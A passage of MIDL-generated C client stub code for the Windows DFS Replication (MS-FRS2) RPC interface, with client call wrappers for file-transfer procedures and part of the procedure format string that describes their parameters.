/* [in] */ PRPC_ASYNC_STATE InitializeFileTransferAsync_AsyncHandle,
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [out][in] */ FRS_UPDATE *frsUpdate,
/* [range][in] */ long rdcDesired,
/* [out][in] */ FRS_REQUESTED_STAGING_POLICY *stagingPolicy,
/* [out] */ PFRS_SERVER_CONTEXT *serverContext,
/* [out] */ FRS_RDC_FILEINFO **rdcFileInfo,
/* [length_is][size_is][out] */ byte *dataBuffer,
/* [range][in] */ DWORD bufferSize,
/* [out] */ DWORD *sizeRead,
/* [out] */ long *isEndOfFile)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[838],
InitializeFileTransferAsync_AsyncHandle,
IDL_handle,
connectionId,
frsUpdate,
rdcDesired,
stagingPolicy,
serverContext,
rdcFileInfo,
dataBuffer,
bufferSize,
sizeRead,
isEndOfFile);
}
DWORD InitializeFileDataTransfer(
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [out][in] */ FRS_UPDATE *frsUpdate,
/* [out] */ PFRS_SERVER_CONTEXT *serverContext,
/* [in] */ DWORDLONG offset,
/* [in] */ DWORDLONG length,
/* [length_is][size_is][out] */ byte *dataBuffer,
/* [range][in] */ DWORD bufferSize,
/* [out] */ DWORD *sizeRead,
/* [out] */ long *isEndOfFile)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[934],
IDL_handle,
connectionId,
frsUpdate,
serverContext,
offset,
length,
dataBuffer,
bufferSize,
sizeRead,
isEndOfFile);
return ( DWORD )_RetVal.Simple;
}
/* [async] */ void RawGetFileDataAsync(
/* [in] */ PRPC_ASYNC_STATE RawGetFileDataAsync_AsyncHandle,
/* [in] */ PFRS_SERVER_CONTEXT serverContext,
/* [out] */ ASYNC_BYTE_PIPE *bytePipe)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[1024],
RawGetFileDataAsync_AsyncHandle,
serverContext,
bytePipe);
}
/* [async] */ void RdcGetFileDataAsync(
/* [in] */ PRPC_ASYNC_STATE RdcGetFileDataAsync_AsyncHandle,
/* [in] */ PFRS_SERVER_CONTEXT serverContext,
/* [out] */ ASYNC_BYTE_PIPE *bytePipe)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[1074],
RdcGetFileDataAsync_AsyncHandle,
serverContext,
bytePipe);
}
#if !defined(__RPC_WIN64__)
#error Invalid build platform for this stub.
#endif
static const ms2Dfrs2_MIDL_PROC_FORMAT_STRING ms2Dfrs2__MIDL_ProcFormatString =
{
0,
{
/* Procedure CheckConnectivity */
0x0, /* 0 */
0x48, /* Old Flags: */
/* 2 */ NdrFcLong( 0x0 ), /* 0 */
/* 6 */ NdrFcShort( 0x0 ), /* 0 */
/* 8 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 10 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 14 */ NdrFcShort( 0x88 ), /* 136 */
/* 16 */ NdrFcShort( 0x8 ), /* 8 */
/* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */
0x3, /* 3 */
/* 20 */ 0xa, /* 10 */
0x81, /* Ext Flags: new corr desc, has big amd64 byval param */
/* 22 */ NdrFcShort( 0x0 ), /* 0 */
/* 24 */ NdrFcShort( 0x0 ), /* 0 */
/* 26 */ NdrFcShort( 0x0 ), /* 0 */
/* 28 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 30 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 34 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter replicaSetId */
/* 36 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 38 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 40 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 42 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 44 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 46 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure EstablishConnection */
/* Return value */
/* 48 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 50 */ NdrFcLong( 0x0 ), /* 0 */
/* 54 */ NdrFcShort( 0x1 ), /* 1 */
/* 56 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 58 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 60 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 62 */ NdrFcShort( 0x98 ), /* 152 */
/* 64 */ NdrFcShort( 0x40 ), /* 64 */
/* 66 */ 0x44, /* Oi2 Flags: has return, has ext, */
0x7, /* 7 */
/* 68 */ 0xa, /* 10 */
0x81, /* Ext Flags: new corr desc, has big amd64 byval param */
/* 70 */ NdrFcShort( 0x0 ), /* 0 */
/* 72 */ NdrFcShort( 0x0 ), /* 0 */
/* 74 */ NdrFcShort( 0x0 ), /* 0 */
/* 76 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 78 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 80 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 82 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter replicaSetId */
/* 84 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 86 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 88 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 90 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 92 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 94 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter downstreamProtocolVersion */
/* 96 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 98 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 100 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter downstreamFlags */
/* 102 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 104 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 106 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter upstreamProtocolVersion */
/* 108 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 110 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 112 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter upstreamFlags */
/* 114 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 116 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 118 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure EstablishSession */
/* Return value */
/* 120 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 122 */ NdrFcLong( 0x0 ), /* 0 */
/* 126 */ NdrFcShort( 0x2 ), /* 2 */
/* 128 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 130 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 132 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 134 */ NdrFcShort( 0x88 ), /* 136 */
/* 136 */ NdrFcShort( 0x8 ), /* 8 */
/* 138 */ 0x44, /* Oi2 Flags: has return, has ext, */
0x3, /* 3 */
/* 140 */ 0xa, /* 10 */
0x81, /* Ext Flags: new corr desc, has big amd64 byval param */
/* 142 */ NdrFcShort( 0x0 ), /* 0 */
/* 144 */ NdrFcShort( 0x0 ), /* 0 */
/* 146 */ NdrFcShort( 0x0 ), /* 0 */
/* 148 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 150 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 152 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 154 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 156 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 158 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 160 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter contentSetId */
/* 162 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 164 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 166 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RequestUpdates */
/* Return value */
/* 168 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 170 */ NdrFcLong( 0x0 ), /* 0 */
/* 174 */ NdrFcShort( 0x3 ), /* 3 */
/* 176 */ NdrFcShort( 0x78 ), /* X64 Stack size/offset = 120 */
/* 178 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 180 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 182 */ NdrFcShort( 0xa6 ), /* 166 */
/* 184 */ NdrFcShort( 0xa6 ), /* 166 */
/* 186 */ 0xc7, /* Oi2 Flags: srv must size, clt must size, has return, has ext, has async handle */
0xd, /* 13 */
/* 188 */ 0xa, /* 10 */
0x87, /* Ext Flags: new corr desc, clt corr check, srv corr check, has big amd64 byval param */
/* 190 */ NdrFcShort( 0x1 ), /* 1 */
/* 192 */ NdrFcShort( 0x1 ), /* 1 */
/* 194 */ NdrFcShort( 0x0 ), /* 0 */
/* 196 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 198 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 202 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 204 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 206 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 208 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter contentSetId */
/* 210 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 212 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 214 */ NdrFcShort( 0x1c ), /* 28 */
/* Parameter creditsAvailable */
/* 216 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 218 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 220 */ NdrFcShort( 0x26 ), /* 38 */
/* Parameter hashRequested */
/* 222 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 224 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 226 */ NdrFcShort( 0x30 ), /* 48 */
/* Parameter updateRequestType */
/* 228 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 230 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 232 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter versionVectorDiffCount */
/* 234 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
/* 236 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 238 */ NdrFcShort( 0x4a ), /* Type Offset=74 */
/* Parameter versionVectorDiff */
/* 240 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 242 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 244 */ NdrFcShort( 0xb6 ), /* Type Offset=182 */
/* Parameter frsUpdate */
/* 246 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 248 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 250 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter updateCount */
/* 252 */ NdrFcShort( 0x2010 ), /* Flags: out, srv alloc size=8 */
/* 254 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */
/* 256 */ NdrFcShort( 0xcc ), /* Type Offset=204 */
/* Parameter updateStatus */
/* 258 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */
/* 260 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */
/* 262 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter gvsnDbGuid */
/* 264 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 266 */ NdrFcShort( 0x68 ), /* X64 Stack size/offset = 104 */
/* 268 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter gvsnVersion */
/* 270 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 272 */ NdrFcShort( 0x70 ), /* X64 Stack size/offset = 112 */
/* 274 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RequestVersionVector */
/* Return value */
/* 276 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 278 */ NdrFcLong( 0x0 ), /* 0 */
/* 282 */ NdrFcShort( 0x4 ), /* 4 */
/* 284 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 286 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 288 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 290 */ NdrFcShort( 0xac ), /* 172 */
/* 292 */ NdrFcShort( 0x8 ), /* 8 */
/* 294 */ 0xc4, /* Oi2 Flags: has return, has ext, has async handle */
0x7, /* 7 */
/* 296 */ 0xa, /* 10 */
0x81, /* Ext Flags: new corr desc, has big amd64 byval param */
/* 298 */ NdrFcShort( 0x0 ), /* 0 */
/* 300 */ NdrFcShort( 0x0 ), /* 0 */
/* 302 */ NdrFcShort( 0x0 ), /* 0 */
/* 304 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 306 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 310 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter sequenceNumber */
/* 312 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 314 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 316 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 318 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 320 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 322 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter contentSetId */
/* 324 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 326 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 328 */ NdrFcShort( 0xd8 ), /* 216 */
/* Parameter requestType */
/* 330 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 332 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 334 */ NdrFcShort( 0xe2 ), /* 226 */
/* Parameter changeType */
/* 336 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 338 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 340 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter vvGeneration */
/* 342 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 344 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 346 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure AsyncPoll */
/* Return value */
/* 348 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 350 */ NdrFcLong( 0x0 ), /* 0 */
/* 354 */ NdrFcShort( 0x5 ), /* 5 */
/* 356 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 358 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 360 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 362 */ NdrFcShort( 0x44 ), /* 68 */
/* 364 */ NdrFcShort( 0x8 ), /* 8 */
/* 366 */ 0xc5, /* Oi2 Flags: srv must size, has return, has ext, has async handle */
0x3, /* 3 */
/* 368 */ 0xa, /* 10 */
0x83, /* Ext Flags: new corr desc, clt corr check, has big amd64 byval param */
/* 370 */ NdrFcShort( 0x1 ), /* 1 */
/* 372 */ NdrFcShort( 0x0 ), /* 0 */
/* 374 */ NdrFcShort( 0x0 ), /* 0 */
/* 376 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 378 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 380 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 382 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 384 */ NdrFcShort( 0xc113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=48 */
/* 386 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 388 */ NdrFcShort( 0x150 ), /* Type Offset=336 */
/* Parameter response */
/* 390 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 392 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 394 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RequestRecords */
/* Return value */
/* 396 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 398 */ NdrFcLong( 0x0 ), /* 0 */
/* 402 */ NdrFcShort( 0x6 ), /* 6 */
/* 404 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */
/* 406 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 408 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 410 */ NdrFcShort( 0xf8 ), /* 248 */
/* 412 */ NdrFcShort( 0x76 ), /* 118 */
/* 414 */ 0xc5, /* Oi2 Flags: srv must size, has return, has ext, has async handle */
0xa, /* 10 */
/* 416 */ 0xa, /* 10 */
0x83, /* Ext Flags: new corr desc, clt corr check, has big amd64 byval param */
/* 418 */ NdrFcShort( 0x1 ), /* 1 */
/* 420 */ NdrFcShort( 0x0 ), /* 0 */
/* 422 */ NdrFcShort( 0x0 ), /* 0 */
/* 424 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 426 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 428 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 430 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 432 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 434 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 436 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter contentSetId */
/* 438 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 440 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 442 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter uidDbGuid */
/* 444 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 446 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 448 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter uidVersion */
/* 450 */ NdrFcShort( 0x158 ), /* Flags: in, out, base type, simple ref, */
/* 452 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 454 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter maxRecords */
/* 456 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 458 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 460 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter numRecords */
/* 462 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 464 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 466 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter numBytes */
/* 468 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */
/* 470 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 472 */ NdrFcShort( 0x164 ), /* Type Offset=356 */
/* Parameter compressedRecords */
/* 474 */ NdrFcShort( 0x2010 ), /* Flags: out, srv alloc size=8 */
/* 476 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 478 */ NdrFcShort( 0xcc ), /* Type Offset=204 */
/* Parameter recordsStatus */
/* 480 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 482 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */
/* 484 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure UpdateCancel */
/* Return value */
/* 486 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 488 */ NdrFcLong( 0x0 ), /* 0 */
/* 492 */ NdrFcShort( 0x7 ), /* 7 */
/* 494 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 496 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 498 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 500 */ NdrFcShort( 0x44 ), /* 68 */
/* 502 */ NdrFcShort( 0x8 ), /* 8 */
/* 504 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
0x3, /* 3 */
/* 506 */ 0xa, /* 10 */
0x81, /* Ext Flags: new corr desc, has big amd64 byval param */
/* 508 */ NdrFcShort( 0x0 ), /* 0 */
/* 510 */ NdrFcShort( 0x0 ), /* 0 */
/* 512 */ NdrFcShort( 0x0 ), /* 0 */
/* 514 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 516 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 518 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 520 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 522 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
/* 524 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 526 */ NdrFcShort( 0x17c ), /* Type Offset=380 */
/* Parameter cancelData */
/* 528 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 530 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 532 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RawGetFileData */
/* Return value */
/* 534 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 536 */ NdrFcLong( 0x0 ), /* 0 */
/* 540 */ NdrFcShort( 0x8 ), /* 8 */
/* 542 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 544 */ 0x30, /* FC_BIND_CONTEXT */
0xe8, /* Ctxt flags: via ptr, in, out, strict, */
/* 546 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 548 */ 0x0, /* 0 */
0x0, /* 0 */
/* 550 */ NdrFcShort( 0x40 ), /* 64 */
/* 552 */ NdrFcShort( 0x78 ), /* 120 */
/* 554 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
0x6, /* 6 */
/* 556 */ 0xa, /* 10 */
0x3, /* Ext Flags: new corr desc, clt corr check, */
/* 558 */ NdrFcShort( 0x1 ), /* 1 */
/* 560 */ NdrFcShort( 0x0 ), /* 0 */
/* 562 */ NdrFcShort( 0x0 ), /* 0 */
/* 564 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 566 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */
/* 568 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 570 */ NdrFcShort( 0x1a4 ), /* Type Offset=420 */
/* Parameter dataBuffer */
/* 572 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 574 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 576 */ NdrFcShort( 0x1ac ), /* Type Offset=428 */
/* Parameter bufferSize */
/* 578 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 582 */ NdrFcShort( 0x1be ), /* 446 */
/* Parameter sizeRead */
/* 584 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 586 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 588 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter isEndOfFile */
/* 590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 592 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 594 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Return value */
/* 596 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 598 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 600 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RdcGetSignatures */
/* 602 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 604 */ NdrFcLong( 0x0 ), /* 0 */
/* 608 */ NdrFcShort( 0x9 ), /* 9 */
/* 610 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 612 */ 0x30, /* FC_BIND_CONTEXT */
0x48, /* Ctxt flags: in, strict, */
/* 614 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 616 */ 0x0, /* 0 */
0x0, /* 0 */
/* 618 */ NdrFcShort( 0x41 ), /* 65 */
/* 620 */ NdrFcShort( 0x24 ), /* 36 */
/* 622 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
0x7, /* 7 */
/* 624 */ 0xa, /* 10 */
0x3, /* Ext Flags: new corr desc, clt corr check, */
/* 626 */ NdrFcShort( 0x1 ), /* 1 */
/* 628 */ NdrFcShort( 0x0 ), /* 0 */
/* 630 */ NdrFcShort( 0x0 ), /* 0 */
/* 632 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 634 */ NdrFcShort( 0x8 ), /* Flags: in, */
/* 636 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 638 */ NdrFcShort( 0x1c8 ), /* Type Offset=456 */
/* Parameter level */
/* 640 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 642 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 644 */ NdrFcShort( 0x1cc ), /* 460 */
/* Parameter offset */
/* 646 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 648 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 650 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter buffer */
/* 652 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 654 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 656 */ NdrFcShort( 0x1da ), /* Type Offset=474 */
/* Parameter length */
/* 658 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 660 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 662 */ NdrFcShort( 0x1ec ), /* 492 */
/* Parameter sizeRead */
/* 664 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 666 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 668 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Return value */
/* 670 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 672 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 674 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RdcPushSourceNeeds */
/* 676 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 678 */ NdrFcLong( 0x0 ), /* 0 */
/* 682 */ NdrFcShort( 0xa ), /* 10 */
/* 684 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 686 */ 0x30, /* FC_BIND_CONTEXT */
0x48, /* Ctxt flags: in, strict, */
/* 688 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 690 */ 0x0, /* 0 */
0x0, /* 0 */
/* 692 */ NdrFcShort( 0x2c ), /* 44 */
/* 694 */ NdrFcShort( 0x8 ), /* 8 */
/* 696 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
0x4, /* 4 */
/* 698 */ 0xa, /* 10 */
0x5, /* Ext Flags: new corr desc, srv corr check, */
/* 700 */ NdrFcShort( 0x0 ), /* 0 */
